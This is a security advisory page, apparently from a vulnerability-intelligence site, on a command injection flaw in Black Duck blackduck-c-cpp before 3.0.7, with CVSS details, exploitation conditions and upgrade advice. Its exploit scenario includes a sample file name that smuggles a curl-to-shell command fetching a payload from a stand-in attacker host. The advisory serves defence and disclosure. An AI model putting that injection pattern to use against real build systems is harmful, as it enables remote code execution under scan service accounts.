EUVD-2026-64896
GHSA-xgr7-5g33-wgpv
Severity by source
CVSS:4.0/AV:L/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:L/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X
AV:L and PR:N reflect local file-write prerequisite with no scanner credentials needed; S:C because the scan account typically exceeds the file-creator's privilege in CI/CD environments.
Primary rating from Vendor (BlackDuck).
CVSS VectorVendor: BlackDuck
CVSS:4.0/AV:L/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:L/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X
Lifecycle Timeline
3DescriptionCVE.org
Improper Neutralization of Special Elements used in an OS Command in the package manager component of Black Duck blackduck-c-cpp before 3.0.7 allows an actor able to create a file within the scanned build directory to execute operating system commands as the account running the scan.
Filesystem paths encountered while traversing the scanned directory are interpolated into command strings that are executed through a shell without quoting or escaping, so shell metacharacters within those paths are interpreted rather than treated as literal text. No control over the build command or the tool's configuration is required.
AnalysisAI
Command injection in Black Duck blackduck-c-cpp before version 3.0.7 enables any actor with write access to a scanned build directory to execute arbitrary OS commands as the account running the scan. The scanner's package manager component traverses the build directory and incorporates discovered filesystem paths into shell command strings without quoting or escaping, making any file or directory whose name contains shell metacharacters an effective injection vector. …
Unlock full vulnerability intelligence
- Risk assessment & exploitation conditions
- Attack chain visualization
- Remediation with exact patch versions
- Threat intelligence from 22 sources
- Personal watchlist & email alerts
Free forever · No credit card required
Attack ChainAIDerived
Hypothetical attack flow derived from CVE metadata
Vulnerability AssessmentAI
| Exploitation | The attacker must have the ability to create a file or directory within the build directory that blackduck-c-cpp is configured to scan. … Additional conditions and limiting factors are described in the full assessment. |
| Risk Assessment | The CVSS 4.0 vector (AV:L/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:L/SC:N/SI:N/SA:N, score 7.5) accurately characterizes the risk: local access is required (AV:L), no complexity beyond creating a file is involved (AC:L), but a specific attack precondition exists (AT:P - write access to the build directory). … Full risk analysis with EPSS, KEV, and SSVC signal comparison available after sign-in. |
| Exploit Scenario | An attacker with write access to a build directory targeted by blackduck-c-cpp creates a file named with embedded shell metacharacters, for example a C source file named 'foo;curl http://attacker.example/payload|sh;.c'. When the scanner traverses the directory during its next scan run, it constructs a shell command incorporating the raw filename, causing the shell to execute the injected curl pipeline as the service account running the scan. … |
| Remediation | Upgrade blackduck-c-cpp to version 3.0.7 or later, which is the vendor-confirmed fix version. … Detailed patch versions, workarounds, and compensating controls in full report. |
Recommended ActionAI
Within 24 hours: Inventory all active Black Duck C/C++ scanner deployments and identify vulnerable versions (pre-3.0.7); document which CI/CD environments permit untrusted parties write access to scanned directories. …
Sign in for detailed remediation steps and compensating controls.
Threat intelligence, references, and detailed analysis are available after sign-in.
More in Blackduck C Cpp
View allSame weakness CWE-78 – OS Command Injection
View allSame technique Command Injection
View allShare
External POC / Exploit Code
Leaving vuln.today